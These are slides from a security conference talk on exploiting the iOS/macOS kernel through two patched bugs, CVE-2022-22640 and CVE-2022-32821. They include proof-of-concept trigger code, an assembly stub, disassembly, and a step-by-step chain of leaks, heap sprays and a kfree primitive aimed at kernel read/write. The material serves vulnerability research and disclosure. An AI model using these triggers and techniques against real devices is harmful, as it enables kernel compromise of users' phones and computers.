More Tales from the iOS/macOS Kernel Trenches

Hexacon 2022

@jaakerblom

Abstract

Exploitation of Apple's iOS operating system, including its kernel, has long been a topic receiving much attention in the information security community. Yet not much technical research in the area has been made public in recent years, with many patched or mitigated bugs and techniques never being publicly detailed. This talk will be a technical talk about exploitation of the iOS 15 kernel, using bugs and techniques that in research available to the public have seen little or no use before.

These slides were presented at Hexacon 2022 in Paris, France. They are meant for a highly technical audience. Details, clarifications and elaborations made during the presentation are not included in the slides. Some links have been added.

whoami

- Security researcher with a focus on the macOS/iOS kernel
- Publish iOS kernel exploits and other research from time to time (multicast_bytecopy, multipath_kfree, extra_recipe_extra_bug and others)
- Have been working independently and reporting bugs to Apple this year (CVE-2022-32821, CVE-2022-32824, CVE-2022-32825, CVE-2022-32828, TBD… (Edit: CVE-2022-32907, CVE-2022-42803, CVE-2022-46690, CVE-2022-46697))

Agenda

- Recent iOS/macOS Vulnerabilities
- Recent Exploitation Primitives and Techniques
- Exploitation
- (Apple Security Bounty in 2022)
- Conclusion

Recent iOS/macOS Vulnerabilities

More Recent iOS/macOS Vulnerabilities

- Kernel: CVE-2022-22640
- IOGPU (Kernel Driver): CVE-2022-32821
- (Originally a third vulnerability - removed as not yet patched)

Kernel: CVE-2022-22640

Patched in: iOS 15.4

First public PoC of CVE-2022-22640 - a @Synacktiv tweet

Kernel: CVE-2022-22640

- CVE-2022-22640 is in xnu - affects both iOS and macOS
- Introduced in iOS 15.0/macOS 12.0
- Patched in iOS 15.4/macOS 12.3
- Reachable from WebContent/Safari

Kernel: CVE-2022-22640

- I found this bug while working on the exploit of another bug
- Marks the third time this happens for me with kmsg bugs (previously: CVE-2018-4185 and CVE-2020-27950)
- Recently this CVE was covered in a great blog post series by @amarsaar
- The next slide has a diff from his blog, showing the patch of the bug

```
@@ -2036,7 +2042,7 @@ ipc_kmsg_get_from_user(
 mach_msg_return_t
 ipc_kmsg_get_from_kernel(
        mach_msg_header_t       *msg,
-       mach_msg_size_t         size,
+       mach_msg_size_t         size, /* can be larger than prealloc space */
        ipc_kmsg_t              *kmsgp)
 {
        ipc_kmsg_t      kmsg;
@@ -2064,6 +2070,11 @@ ipc_kmsg_get_from_kernel(
                        ip_mq_unlock(dest_port);
                        return MACH_SEND_NO_BUFFER;
                }
+               assert(kmsg->ikm_size == IKM_SAVED_MSG_SIZE);
+               if (size + MAX_TRAILER_SIZE > kmsg->ikm_size) {
+                       ip_mq_unlock(dest_port);
+                       return MACH_SEND_TOO_LARGE;
+               }
                ikm_prealloc_set_inuse(kmsg, dest_port);
                ikm_set_header(kmsg, NULL, size);
                ip_mq_unlock(dest_port);
@@ -2402,6 +2413,17 @@ ipc_kmsg_put_to_user(
                __unreachable_ok_pop
        }
```

Wow, very straightforward. We have a new check for a case where the `size` argument is too large, and even a comment that says *"can be larger than prealloc space"*. It's pretty clear what the root cause of the vulnerability is now: **it's possible to get to `ipc_kmsg_get_from_kernel` with a pre-allocated kmsg, with a smaller size than the `size` argument**. This results in a heap OOB write.

macOS 12.2 vs macOS 12.3 - saaramar.github.io/ipc_kmsg_vuln_blogpost/

Kernel: CVE-2022-22640

- Saar highlights a new size check, fixing the bug in macOS 12.3 (iOS 15.4)
- It’s not in a particularly deep code path
- This begs the question: Is this size check really new?
- Let’s look at another diff

Kernel: CVE-2022-22640

```
                ip_unlock(dest_port);
                return MACH_SEND_NO_BUFFER;
        }
!defined(__LP64__)
        if (msg->msgh_bits & MACH_MSGH_BITS_COMPLEX) {
                assert(size > sizeof(mach_msg_base_t));
                max_desc = ((mach_msg_base_t *)msg)->body.msgh_descriptor_count *
                    DESC_SIZE_ADJUSTMENT;
        }
if
        if (msg_and_trailer_size > kmsg->ikm_size - max_desc) {
                ip_unlock(dest_port);
                return MACH_SEND_TOO_LARGE;
        }
        ikm_prealloc_set_inuse(kmsg, dest_port);
        ikm_set_header(kmsg, NULL, msg_and_trailer_size);
        ip_unlock(dest_port);
```

- This is a diff of macOS 11.5 vs 12.0.1 - what someone diffing Big Sur vs Monterey would see
- Everything in red was removed in macOS 12
- Conclusion: There actually used to be a size check here, Apple removed it in macOS 12 (iOS 15), introducing this great new bug (thanks)

Kernel: CVE-2022-22640

- What can happen as a result of the missing size check?
- ikm_set_header(kmsg, NULL, size) from the previous slides should set ikm_header to point to the ipc_last kmsg member, the ikm_inline_data buffer
- Instead, kmsg->ikm_header may end up pointing somewhere else inside the kmsg structure

Should point inside here ->

```
105 struct ipc_kmsg {
106     struct ipc_kmsg             *ikm_next;        /* next message on port/discard queue */
107     struct ipc_kmsg             *ikm_prev;        /* prev message on port/discard queue */
108     union {
109         ipc_port_t XNU_PTRAUTH_SIGNED_PTR("kmsg.ikm_prealloc") ikm_prealloc; /* port we were prea
110         void       *XNU_PTRAUTH_SIGNED_PTR("kmsg.ikm_data")     ikm_data;
111     };
112     mach_msg_header_t           *XNU_PTRAUTH_SIGNED_PTR("kmsg.ikm_header") ikm_header;
113     ipc_port_t                  XNU_PTRAUTH_SIGNED_PTR("kmsg.ikm_voucher_port") ikm_voucher_port;
114     struct ipc_importance_elem *ikm_importance;  /* inherited from */
115     queue_chain_t               ikm_inheritance;  /* inherited from link */
116     struct turnstile            *ikm_turnstile;   /* send turnstile for ikm_prealloc port */
117 #if MACH_FLIPC
118     struct mach_node            *ikm_node;        /* Originating node - needed for ack */
119 #endif
120     mach_msg_size_t             ikm_size;
121     uint32_t                    ikm_ppriority;    /* pthread priority of this kmsg */
122 #if IKM_PARTIAL_SIG
123     uintptr_t                   ikm_header_sig;   /* sig for just the header */
124     uintptr_t                   ikm_headtrail_sig;/* sif for header and trailer */
125 #endif
126     uintptr_t                   ikm_signature;    /* sig for all kernel-processed data */
127     ipc_object_copyin_flags_t   ikm_flags;
128     mach_msg_qos_t              ikm_qos_override; /* qos override on this kmsg */
129     mach_msg_type_name_t        ikm_voucher_type : 8; /* disposition type the voucher came in with
130
131     uint8_t                     ikm_inline_data[] __attribute__((aligned(4)));
132 };
```

<- May end up pointing somewhere here (or even before the whole struct)

Kernel: CVE-2022-22640

- Subsequently in the code there is a memcpy that copies a sent message to kmsg->ikm_header

```
memcpy(kmsg->ikm_header, msg, size);
```

- If the (unchecked) size of the message is too large, some or all members of the ipc_kmsg struct will be overwritten by this memcpy
- How much of ipc_kmsg is overwritten will depend on the size of the sent message

Kernel: CVE-2022-22640

- To reach the code path, we can send exception messages on a timer port
- This is what @Synacktiv's tweet PoC does


```c
void *C(void* a) {
    thread_set_exception_ports(mach_thread_self(),
        EXC_MASK_ALL,*(int *)a,2,6);
    __builtin_trap();
    return a;
}

int main() {
    int p = mk_timer_create();
    mach_port_insert_right(mach_task_self(),p,p,20);
    pthread_t t;
    pthread_create(&t,0,C,&p);
    for(;;);
}
```

Kernel: CVE-2022-22640

- With exception messages, we can **control the data** that is memcpy'd over ipc_kmsg
- We can set all the registers of a userspace thread and then cause an exception
- The register values of the crashed thread will then be memcpy'd over the kmsg

```
_load_regs_and_crash:
mov x30, x0
ldp x0, x1, [x30, 0]
ldp x2, x3, [x30, 0x10]
ldp x4, x5, [x30, 0x20]
ldp x6, x7, [x30, 0x30]
ldp x8, x9, [x30, 0x40]
ldp x10, x11, [x30, 0x50]
ldp x12, x13, [x30, 0x60]
ldp x14, x15, [x30, 0x70]
ldp x16, x17, [x30, 0x80]
ldp x18, x19, [x30, 0x90]
ldp x20, x21, [x30, 0xa0]
ldp x22, x23, [x30, 0xb0]
ldp x24, x25, [x30, 0xc0]
ldp x26, x27, [x30, 0xd0]
ldp x28, x29, [x30, 0xe0]
brk 0
```

This function takes a pointer to a 240 byte buffer as the first argument then assigns each of the first 30 ARM64 general-purposes registers values from that buffer such that when it triggers a software interrupt via `brk 0` and the kernel sends an exception message that message contains the bytes from the input buffer in the same order.

https://googleprojectzero.blogspot.com/2017/04/exception-oriented-exploitation-on-ios.html - @i41nbeer

Kernel: CVE-2022-22640

- The controllable 240 byte register state is big enough to overwrite every single member of ipc_kmsg
- We overwrite and fully control all members of this struct

Entire struct controlled ->

```
105 struct ipc_kmsg {
106     struct ipc_kmsg             *ikm_next;        /* next message on port/discard queue */
107     struct ipc_kmsg             *ikm_prev;        /* prev message on port/discard queue */
108     union {
109         ipc_port_t XNU_PTRAUTH_SIGNED_PTR("kmsg.ikm_prealloc") ikm_prealloc; /* port we were prea
110         void       *XNU_PTRAUTH_SIGNED_PTR("kmsg.ikm_data")     ikm_data;
111     };
112     mach_msg_header_t           *XNU_PTRAUTH_SIGNED_PTR("kmsg.ikm_header") ikm_header;
113     ipc_port_t                  XNU_PTRAUTH_SIGNED_PTR("kmsg.ikm_voucher_port") ikm_voucher_port;
114     struct ipc_importance_elem *ikm_importance;  /* inherited from */
115     queue_chain_t               ikm_inheritance;  /* inherited from link */
116     struct turnstile            *ikm_turnstile;   /* send turnstile for ikm_prealloc port */
117 #if MACH_FLIPC
118     struct mach_node            *ikm_node;        /* Originating node - needed for ack */
119 #endif
120     mach_msg_size_t             ikm_size;
121     uint32_t                    ikm_ppriority;    /* pthread priority of this kmsg */
122 #if IKM_PARTIAL_SIG
123     uintptr_t                   ikm_header_sig;   /* sig for just the header */
124     uintptr_t                   ikm_headtrail_sig;/* sif for header and trailer */
125 #endif
126     uintptr_t                   ikm_signature;    /* sig for all kernel-processed data */
127     ipc_object_copyin_flags_t   ikm_flags;
128     mach_msg_qos_t              ikm_qos_override; /* qos override on this kmsg */
129     mach_msg_type_name_t        ikm_voucher_type : 8; /* disposition type the voucher came in with
130
131     uint8_t                     ikm_inline_data[] __attribute__((aligned(4)));
132 };
```

Kernel: CVE-2022-22640

- Problem: kmsg->ikm_header is dereferenced on the very next line after the memcpy

```
2077        memcpy(kmsg->ikm_header, msg, size);
2078        kmsg->ikm_header->msgh_size = size;
```

- ikm_header is PAC'd so we will immediately panic here - unless we overwrite it with a correctly signed kernel pointer

Kernel: CVE-2022-22640

- If we had an infoleak we could leak a correctly signed pointer to use
- We could use another bug for that
- Could it also be possible to build the required leak with only this bug?

Kernel: CVE-2022-22640

- It is in fact possible - with some limitations (at least in the flow I'll describe)
- I've tried to keep explanations simple but the next part requires xnu internals knowledge to follow along fully - not all terms/concepts are explained

Kernel: CVE-2022-22640

- There are other messages we can send to reach the bug's code path which have smaller sizes
- For exception messages, the last two integer arguments passed to thread_set_exception_ports determine the size of the exception messages sent

```
kern_return_t thread_set_exception_ports
(
    thread_act_t thread,
    exception_mask_t exception_mask,
    mach_port_t new_port,
    exception_behavior_t behavior,
    thread_state_flavor_t new_flavor
);
```

```
(mach_
,2,6);
```

Synacktiv used 2, 6 (EXCEPTION_STATE, ARM_THREAD_STATE64)

- Some combinations of these arguments will lead to messages **not** overwriting ikm_header - but still overwriting other ipc_kmsg members
- This will avoid the immediate PAC panic and allow us to return to userspace

Kernel: CVE-2022-22640

- After the memcpy(), there are two other important modifications made to ipc_kmsg as part of the message sending process
- kmsg->ikm_voucher_type is set to 0x11 (MACH_MSG_TYPE_MOVE_SEND)

```
kmsg->ikm_voucher_type = type;
```

- kmsg->ikm_signature is set to a pseudorandom 64-bit value (only 32 bits used - others set to 0)

```
sig = ikm_finalize_sig(kmsg, &scratch);
kmsg->ikm_signature = sig;
```

Kernel: CVE-2022-22640

- As mentioned, these two modifications happen **after** the memcpy that copies the message over ipc_struct
- This means they may end up modifying the overlapping message (i.e modifying msgh_bits, msgh_size, msgh_remote_port, msgh_local_port, msgh_voucher_port or msgh_id)

```
105 struct ipc_kmsg {
106     struct ipc_kmsg             *ikm_next;        /* next message on port/discard queue */
107     struct ipc_kmsg             *ikm_prev;        /* prev message on port/discard queue */
108     union {
109         ipc_port_t XNU_PTRAUTH_SIGNED_PTR("kmsg.ikm_prealloc") ikm_prealloc; /* port we were prea
110         void       *XNU_PTRAUTH_SIGNED_PTR("kmsg.ikm_data")     ikm_data;
111     };
112     mach_msg_header_t           *XNU_PTRAUTH_SIGNED_PTR("kmsg.ikm_header") ikm_header;
113     ipc_port_t                  XNU_PTRAUTH_SIGNED_PTR("kmsg.ikm_voucher_port") ikm_voucher_port;
114     struct ipc_importance_elem *ikm_importance;  /* inherited from */
115     queue_chain_t               ikm_inheritance;  /* inherited from link */
116     struct turnstile            *ikm_turnstile;   /* send turnstile for ikm_prealloc port */
117 #if MACH_FLIPC
118     struct mach_node            *ikm_node;        /* Originating node - needed for ack */
119 #endif
120     mach_msg_size_t             ikm_size;
121     uint32_t                    ikm_ppriority;    /* pthread priority of this kmsg */
122 #if IKM_PARTIAL_SIG
123     uintptr_t                   ikm_header_sig;   /* sig for just the header */
124     uintptr_t                   ikm_headtrail_sig;/* sif for header and trailer */
125 #endif
126     uintptr_t                   ikm_signature;    /* sig for all kernel-processed data */
127     ipc_object_copyin_flags_t   ikm_flags;
128     mach_msg_qos_t              ikm_qos_override; /* qos override on this kmsg */
129     mach_msg_type_name_t        ikm_voucher_type : 8; /* disposition type the voucher came in with
130
131     uint8_t                     ikm_inline_data[] __attribute__((aligned(4)));
132 };
```

<-Overlapping->

```
typedef struct{
    mach_msg_bits_t             msgh_bits;
    mach_msg_size_t             msgh_size;
    mach_port_t                 msgh_remote_port;
    mach_port_t                 msgh_local_port;
    mach_port_name_t            msgh_voucher_port;
    mach_msg_id_t               msgh_id;
} mach_msg_header_t;
```

Kernel: CVE-2022-22640

- If the msgh_size member was modified, that would be interesting
- In that case, the mach_port_peek() trap could be used to read kernel data OoB from userspace (msg_trailerp below is returned out to the caller)

```
memcpy(msg_trailerp,
    (mach_msg_max_trailer_t *)((vm_offset_t)kmsg->ikm_header +
    mach_round_msg(kmsg->ikm_header->msgh_size)),
    sizeof(mach_msg_max_trailer_t));
```

- Note: In the Safari sandbox specifically, mach_port_peek() is banned since iOS 14.0 - another leak/technique is needed for that context

Kernel: CVE-2022-22640

- Reminder: by changing thread_set_exception_ports arguments we can send messages of different sizes
- With a message of exactly size 0x64, we could overlap in such a way that msgh_size is effectively increased from 0x64 to 0x11000064 when kmsg->ikm_voucher_type is set to 0x11

```
Before: 0x00000064
After:  0x11000064
```

Kernel: CVE-2022-22640

- Something interesting could probably be leaked with a msgh_size of 0x11000064
- However, it certainly won't help us in leaking a correctly signed ikm_header
- Even if we had another kmsg allocation 0x11000000 bytes away from the one we trigger the bug on, we would just be reading the actual trailer of that kmsg

Kernel: CVE-2022-22640

- What about overlapping in such a way that msgh_size is overwritten with ikm_signature?
- The correct size for this overlap is possible with exception messages
- Namely by supplying flavor 27 (ARM_PAGEIN_STATE) and behavior 3 (EXCEPTION_STATE_IDENTITY) when calling thread_set_exception_ports

```
thread_set_exception_ports(mach_task_self(),
                           EXC_MASK_ALL,
                           task_exc_port,
                           EXCEPTION_STATE_IDENTITY,
                           ARM_PAGEIN_STATE);
```

Kernel: CVE-2022-22640

- Might not sound like a good idea at first as the signature generated and overlapped with msgh_size will be a pseudorandom, often very large integer

```
3D7DDFB0
B6DB10AE
00161144
```

- Three examples of generated signatures

- Any mach_port_peek() call done when ikm_header + msgh_size/ikm_signature is unmapped will panic

```
memcpy(msg_trailerp,
    (mach_msg_max_trailer_t *)((vm_offset_t)kmsg->ikm_header +
    mach_round_msg(kmsg->ikm_header->msgh_size)),
    sizeof(mach_msg_max_trailer_t));
```

Kernel: CVE-2022-22640

- What if we had a way to do another leak, this time of the signature, before calling mach_port_peek()?
- Then we could simply avoid doing the OoB read for any 'bad' size and then trigger the bug again on another port
- We can repeat this until we get one or several 'good' (reasonably small) sizes

```
3D7DDFB0

B6DB10AE
```

`00161144` - Example of a ‘good’ size - only 0x161144 bytes (1.44MB) - a very easy to spray distance

Kernel: CVE-2022-22640

- There is a simple way to do such a leak:
  mach_msg() called with option MACH_RCV_LARGE and a rcv_size too small to receive the message

```
mach_msg(msg,
         MACH_RCV_MSG | MACH_RCV_LARGE,
         ...);
```

- This will simply return msgh_size without destroying the message or touching anything else

```
mach_msg_size_t
ipc_kmsg_copyout_size(
    ipc_kmsg_t              kmsg,
    vm_map_t                map)
{
    mach_msg_size_t             send_size;

    send_size = kmsg->ikm_header->msgh_size;
    ...
```

send_size is returned to userspace

Kernel: CVE-2022-22640

- Some of the random sizes generated would allow us to leak a signed ikm_header of another kmsg
- In theory this means we **should** be able to use mach_port_peek() to leak a signed ikm_header for surviving the ikm_header dereference

```
2077        memcpy(kmsg->ikm_header, msg, size);
2078        kmsg->ikm_header->msgh_size = size;
```

Kernel: CVE-2022-22640

- We'll still have to trigger the bug on a kmsg in the specific location the ikm_header was leaked from (can’t swap PACs)
- That's not a problem
- We can just trigger the bug on the specific timer port holding the kmsg at that location

Kernel: CVE-2022-22640

- We are now able to survive the PAC panic problem, and return back to userspace without panicing after the exception message is sent
- It may sound like we still haven't achieved much
- Bare with me, being able to overwrite an ikm_header with a slightly different (different offset in ikm_inline_data) but correctly signed ikm_header is in fact VERY powerful pre-iOS 15.5

Kernel: CVE-2022-22640

- As we can fake message descriptors we've essentially achieved a kfree primitive - the ability to free arbitrary memory in default.kalloc
- This is what the multicast_bytecopy exploit for iOS 15.1.1 that I published earlier this year does (multicast_bytecopy exploit.c:152)
- However, there is one big last problem that comes in our way with this strategy

Kernel: CVE-2022-22640

- When ikm_signature overlaps with msgh_size, ikm_voucher_type overlaps with the third byte of msgh_remote_port - a ipc_port pointer
- This means msgh_remote_port's third byte will always be replaced by 0x11

```
Before: 0xffffffe122000000
After:  0xffffffe111000000
```

Kernel: CVE-2022-22640

- msgh_remote_port is dereferenced in multiple places in the code afterwards
- This means that we need to have memory mapped at the resulting new msgh_remote_port pointer after its third byte is replaced with 0x11
- The zone_require mitigation also means we specifically need to have a port at this location, not an object from any other zone

```
panic("zone_require failed: address in unexpected zone id %d (%s%s) "
    "(addr: %p, expected: %s%s)",
    zindex, zone_heap_name(other), other->z_name,
    addr, zone_heap_name(zone), zone->z_name);
```

Kernel: CVE-2022-22640

- For this we may need yet **another** leak (whew), this time of a ipc_port pointer
- ipc_port pointer leaks have historically been relatively common so it’s not unlikely attackers would already be sitting on at least one ipc_port leak bug
- But we could also just build one out of mach_port_peek() - kmsgs can contain ipc_port pointers of sent ports so we could leak one from a kmsg

Kernel: CVE-2022-22640

- As for why we would need an ipc_port leak:
  It could assist us in making sure we spray ports in the correct location (covering 0xffffffe111000000 in the previous example)

```
Before: 0xffffffe122000000
After:  0xffffffe111000000
```

- Some ports would be allocated and leaked, then other objects would be allocated as a padding spray to inch further towards 0xffffffe111000000 (with pages allocated consecutively)

- This would be repeated until 0xffffffe111000000 would be covered with ports, allowing msgh_remote_port to be dereferenced safely

Kernel: CVE-2022-22640

- We may need to spray a lot - is memory usage a problem here? (jetsam)
- No - padding of different types can be allocated and deallocated as we go, avoiding high memory usage issues
- This is because padding of any specific object type will reserve memory not reusable by other types even after their deallocation
- Apple’s zone separation mitigations are leveraged **against them** when spraying padding objects - we’d run out of memory on earlier versions

Kernel: CVE-2022-22640

- Finally about this strategy, iOS 15.2 added more memory randomization making it trickier - the same basic technique *works* but there could be other better ways to exploit this bug on 15.2+

Kernel: CVE-2022-22640

- The most important parts of exploiting this bug (up to arbitrary kfree) have been covered :)
- The rest of the exploitation for kernel R/W is relatively easy and will be briefly covered towards the end of this talk

IOGPU (Kernel Driver): CVE-2022-32821

Patched in: iOS 15.6

GPU Drivers

Available for: iPhone 6s and later, iPad Pro (all models), iPad Air 2 and later, iPad 5th generation and later, iPad mini 4 and later, and iPod touch (7th generation)

Impact: An app may be able to execute arbitrary code with kernel privileges

Description: A memory corruption issue was addressed with improved validation.

CVE-2022-32821: John Aakerblom (@jaakerblom)

IOGPU: CVE-2022-32821

- CVE-2022-32821 is in IOGPU - affects iOS and macOS (Apple Silicon only)
- Introduced in iOS 15.0/macOS 12.0
- Patched in iOS 15.6/macOS 12.5
- Reachable from app context, filtered by Safari sandbox

IOGPU: CVE-2022-32821

- **Very** easy to trigger (minimal PoC on next slide)
- I'll keep an iOS 15.1.1 perspective in the slides - that's the version I exploited (latest version at the time of writing the exploit)
- Will focus on simple exploitation without much root cause analysis for this bug
- This bug was also found when working on the exploit of another bug

IOGPU: CVE-2022-32821

```c
#include "iokit.h" // https://github.com/Siguza/iokit-utils/blob/master/src/iokit.h

kern_return_t IOMasterPort(mach_port_t, mach_port_t *);

void PoC(void)
{
    mach_port_t MasterPort = MACH_PORT_NULL;
    io_connect_t UserClient = MACH_PORT_NULL;
    uint64_t Output[2] = {0};
    uint64_t OutputCount = 2;

    IOMasterPort(MACH_PORT_NULL, &MasterPort);
    IOServiceOpen(IOServiceGetMatchingService(MasterPort,
        IOServiceMatching("AGXAccelerator")),
        mach_task_self(),
        1,
        &UserClient);

    // Call IOGPUDeviceUserClient method 29 (s_create_mtllateevalevent) 2049 times with no input
    for(unsigned i = 0; i < 2049; i++)
        IOConnectCallMethod(UserClient, 29, 0, 0, 0, 0, Output, &OutputCount, 0, 0);
}
```

IOGPU: CVE-2022-32821

- A PoC causing a panic in an IOKit driver isn’t notable by itself
- IOKit drivers often have many low hanging typically unexploitable bugs (such as NULL dereferences)
- However, in this case it turns out that the panic is actually quite interesting

IOGPU: CVE-2022-32821

```
Kernel data abort. at pc 0xfffffff01568ab08, lr 0xfffffff01568aab8 (saved state: 0xffffffeb03e73430)
x0:  0x0000000000000001 x1:   0x00000000000001fc  x2:  0x00000000ffffffff x3:   0xffffffe00023c810
x4:  0xffffffe37946b680 x5:   0xfffffff01564d610  x6:  0xffffffe3790af860 x7:   0x0000000000000000
x8:  0xffffffe3793edb00 x9:   0x00000000001fffff  x10: 0x0000000000000008 x11:  0x0000000000000800
x12: 0xffffffe3793edb10 x13:  0xffffffffffffffff  x14: 0x0000000000000000 x15:  0x00000000ffffffff
x16: 0x0000000000000001 x17:  0x0000000000000800  x18: 0xfffffff0143f5000 x19:  0xffffffe0f8763118
x20: 0xffffffe0f3915800 x21:  0xffffffe0f8763120  x22: 0xffffffe0f8763128 x23:  0x00000000ffffffff
x24: 0x0000000000000000 x25:  0x00000000ffffffff  x26: 0x0000000000003ff8 x27:  0x0000000000fffff8
x28: 0xffffffe0f86a4c8c fp:   0xffffffeb03e737d0  lr:  0xfffffff01568aab8 sp:   0xffffffeb03e73780
pc:  0xfffffff01568ab08 cpsr: 0x60400204          esr: 0x96000006          far: 0xffffffe37a3edaf8
```

- A data abort on what looks like a mappable kernel pointer - promising
- ‘far:’ (abort) location starts with 0xffffffe3 - instantly recognizable as a kalloc pointer (on iOS 15.0 - 15.1.1) - even more promising

IOGPU: CVE-2022-32821

```
MUL             X26, X10, X8
LDR             X8, [X20,#0xBD8]
LSL             X27, X9, #3
LDR             X8, [X8,X27]
LDR             X0, [X8,#0x10]
STR             X0, [X22]
LDR             X8, [X0]
LDR             X8, [X8,#0x20]
```

```
65  v11 = __clz(__rbit64(v10));
66  v12 = v10 ? v11 : 0xFFFFFFFFLL;
67  v13 = *(*(this + 0xC20) + 4LL * v12);
68  v14 = __clz(__rbit32(v13));
69  v15 = v13 ? v14 : -1;
70  v16 = v15 + 32 * v12;
71  v17 = *(this + 0xBF0);
72  v18 = *(this + 0xC30) * (v16 % v17);
73  v19 = 8LL * (v16 / v17);
74  v20 = *(*(*(this + 0xBD8) + v19) + 0x10LL);
75  *a5 = v20;
76  (*(*v20 + 32LL))(v20);
77  v21 = *(*(this + 0xBD8) + v19);
78  ++*v21;
79  *a4 = (*(**(v21 + 0x10) + 0x90LL))(*(v21 + 0x10)) + v18;
80  v22 = *(*(*(this + 0xBD8) + v19) + 0x18LL);
```

Crashing PC in AGXFirmware::requestLateEvalEventSignalMem - described in following slides

IOGPU: CVE-2022-32821

- What's happening here?
- Earlier, an array is allocated in default/kext.kalloc.576

```
v7 = 8LL * a2;
v8 = v7 + v6;
result = IOMalloc_external(v8);
```

- An OoB access reading at +0xfffff8 (X27) bytes (14MB/1024 pages) out of bounds from the array (X8) then occurs (panic PC)

```
MUL             X26, X10, X8
LDR             X8, [X20,#0xBD8]
LSL             X27, X9, #3
LDR             X8, [X8,X27]
LDR             X0, [X8,#0x10]
STR             X0, [X22]
LDR             X8, [X0]
LDR             X8, [X8,#0x20]
```

```
x8 : 0xffffffe3793edb00
x27: 0x0000000000fffff8
far: 0xffffffe37a3edaf8
```

IOGPU: CVE-2022-32821

- If we can map the pointer where the data abort happens we could gain several interesting primitives (call primitives and increment primitive)

```
v19 = *(*(*(a1 + 0xBD8) + v18) + 0x10LL);
*a5 = v19;
(*(*v19 + 0x20LL))(v19);                        // call primitive (PC control on non-PAC)
v20 = *(*(a1 + 0xBD8) + v18);
++*v20;                                         // increment primitive
*a4 = (*(**(v20 + 0x10) + 0x90LL))(*(v20 + 0x10)) + v17;// // call primitive (PC control on non-PAC)
```

- It's easy to map the pointer - spraying 14MB to cover +0xfffff8 is not a problem in default.kalloc
- With a controlled spray in default.kalloc we should be able to control the location at which the OoB access happens

IOGPU: CVE-2022-32821

- Unfortunately, not many kext/default sprays left in iOS 15
- However, at least for iOS 15.1.1 there was still the necp_client_add() spray (subsequently moved to data.kalloc in iOS 15.2)

```
v10 = kalloc_ext(&KHEAP_DEFAULT, v5 + 0x368,
if ( !v10 )
  panic("_MALLOC: kalloc returned NULL (poten
v11 = v10;
v12 = v10 + 0x368;
v13 = copyin(*(a3 + 32), (v10 + 0x368), v5);
```

- Drawback: not fully controlled (may OoB read in the non-controlled part) - still good enough for a simple kernel R/W PoC without reliability requirements

IOGPU: CVE-2022-32821

- Is a call primitive (PC control) interesting?
- Yes, but only for non-PAC devices and only if we have a separate KASLR leak to know what (where) to call
- The increment primitive seems more interesting - useful without a separate leak
- Let’s look at it more closely

IOGPU: CVE-2022-32821

```
v19 = *(*(*(a1 + 0xBD8) + v18) + 0x10LL);
*a5 = v19;
(*(*v19 + 0x20LL))(v19);
v20 = *(*(a1 + 0xBD8) + v18);
++*v20;                                    // increment primitive
*a4 = (*(**(v20 + 0x10) + 0x90LL))(*(v20 + 0x10)) + v17;
```

- With our controlled spray, we control the expression *(*(a1 + 0xBD8) + v18)
- This means that the increment (++*v20) will happen at any target of our choice
- Additionally, at +0x10 inline of our target, an object pointer (v19/v20) will be read
- Two C++ calls will be done with this object pointer

IOGPU: CVE-2022-32821

- We have to survive both of the C++ calls on the object pointer without crashing
- Let’s look at those calls again, with descriptions of what they are

IOGPU: CVE-2022-32821

```
v19 = *(*(*(a1 + 0xBD8) + v18) + 0x10LL);
*a5 = v19;
(*(*v19 + 0x20LL))(v19);                        // retain() call
v20 = *(*(a1 + 0xBD8) + v18);
++*v20;                                         // increment primitive
*a4 = (*(**(v20 + 0x10) + 0x90LL))(*(v20 + 0x10)) + v17;
```

- The first is a retain() call
- We'll survive this (even on PAC devices) if we point v19/v20 to *any* class inheriting from OSObject - almost any C++ object in the kernel

IOGPU: CVE-2022-32821

```
v19 = *(*(*(a1 + 0xBD8) + v18) + 0x10LL);
*a5 = v19;
(*(*v19 + 0x20LL))(v19);                        // retain() call
v20 = *(*(a1 + 0xBD8) + v18);
++*v20;                                         // increment primitive
*a4 = (*(**(v20 + 0x10) + 0x90LL))(*(v20 + 0x10)) + v17;// IOGPUMemoryMap::getGPUVirtualAddress() call
```

- The second is a IOGPUMemoryMap::getGPUVirtualAddress() call
- On non-PAC devices we need to point to any C++ object that doesn't crash when we call the function at <its vtable+0x90>
- For PAC devices we'll survive only if we point specifically to a IOGPUMemoryMap family object - otherwise we get a PAC panic here

IOGPU: CVE-2022-32821

- For the first call, we can hardcode an address that we'll always hit on 15.1 given a sufficiently large spray of C++ objects
- For the second call, on non-PAC we can do the same - we just need objects with a <vtable+0x90> function that doesn't crash
- On PAC devices we would need a leak of an IOGPUMemoryMap family object

IOGPU: CVE-2022-32821

- At this point we have an arbitrary increment primitive - with constraints
- I’ll explain the rest of the exploitation for kernel R/W after a short recap of generic techniques

Recent Exploitation Primitives and Techniques

Recent (Generic) Exploitation Primitives and Techniques

- Generic exploitation techniques for iOS 15 (up to 15.1.1) were covered at length in my Zer0con talk Tales from the macOS/iOS Kernel Trenches
- I'll be doing just a very brief recap of what each technique was here
- For anyone interested in more details, I recommend reading the full slides for the Zer0Con talk (or looking at multicast_bytecopy on Github)

Recent (Generic) Exploitation Primitives and Techniques

- Kernel R/W (“final”) primitives: **IOSurface methods (works up to 15.2.1)**

- Intermediary: **kmsg kfree primitive (works up to 15.4.1)**

- Other: **hardcoding kernel memory addresses (works up to 15.1.1)**

Zer0Con mitigations slides

- In iOS 15.3, mitigations for IOSurfaceClient were added
- PAC signing was added to the IOSurfaceClients in the IOSurfaceClient array
- Various back references checks also added to prevent IOSurfaceClient/IOSurface faking

- In iOS 15.5 beta 1, PAC signing validation was finally added for the destroy path of kmsg
- The kfree primitive covered in this talk now triggers a kernel panic

- In iOS 15.2, more kernel memory randomization was finally added, drastically reducing the reliability of statically hardcoding kernel memory address predictions
- This means for example a hardcoded address that would always land in KHEAP_DATA_BUFFERS on 15.1.1 could now e.g land in KHEAP_KEXT instead
- Whether zones start at their beginning or end is also random (50-50), making overflows and OOB vulnerabilities trickier to exploit

Exploitation

Exploitation: CVE-2022-32821

- There's a common excellent target for the increment primitive - **it's kmsg** (to no one's surprise)
- We can increment the descriptor count of a message with a count of 0 to a count of 1
- The count is followed by a controlled fake descriptor (descriptors are 0x10 bytes, conveniently) and then a controlled C++ object pointer

count	fake descriptor containing default.kalloc pointer			C++ object pointer			
00 00 00 00	E1 FF FF FF	41 41 41 41	00 01 11 02	00 00 00 04	E1 FF FF FF	42 42 42 42	

Exploitation: CVE-2022-32821

- The default.kalloc pointer in the fake descriptor will be kfree'd if count is incremented to 1 while the kmsg is on the kernel heap
- We can use a **hardcoded** default.kalloc pointer to kfree (on 15.1.1), e.g 0xFFFFFFE376000000 (actual pointer we can use)
